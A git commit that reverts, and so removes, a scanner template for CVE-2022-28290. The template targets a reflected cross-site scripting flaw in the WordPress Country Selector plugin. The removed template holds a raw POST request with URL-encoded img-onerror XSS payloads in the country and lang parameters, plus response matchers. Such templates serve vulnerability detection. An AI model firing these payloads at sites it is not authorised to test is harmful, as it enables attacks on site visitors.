Revert "Create CVE-2022-28290.yaml"

This reverts commit 28788419f4.
patch-1
Prince Chaddha 2022-05-10 14:18:33 +05:30
parent 86111af040
commit cda8849beb
1 changed files with 0 additions and 37 deletions

View File

@ -1,37 +0,0 @@
id: CVE-2022-28290
info:
name: Country Selector < 1.6.6 - Reflected Cross-Site Scripting
author: Akincibor
severity: medium
description: The plugin does not sanitise and escape the country and lang parameters before outputting them back in the response, leading to a Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
tags: xss,wp,wordpress,wp-plugin,cve,cve2022
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
country=%3Cimg%2Bsrc%3Dx%2Bonerror%3Dalert%28%2FXSS-country%2F%29%3E&lang=%3Cimg%2Bsrc%3Dx%2Bonerror%3Dalert%28%2FXSS-lang%2F%29%3E&site_locate=en-US
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=x onerror=alert(/XSS-country/)>'
- '<img src=x onerror=alert(/XSS-lang/)>'
condition: or
- type: word
part: header
words:
- text/html
- type: status
status:
- 200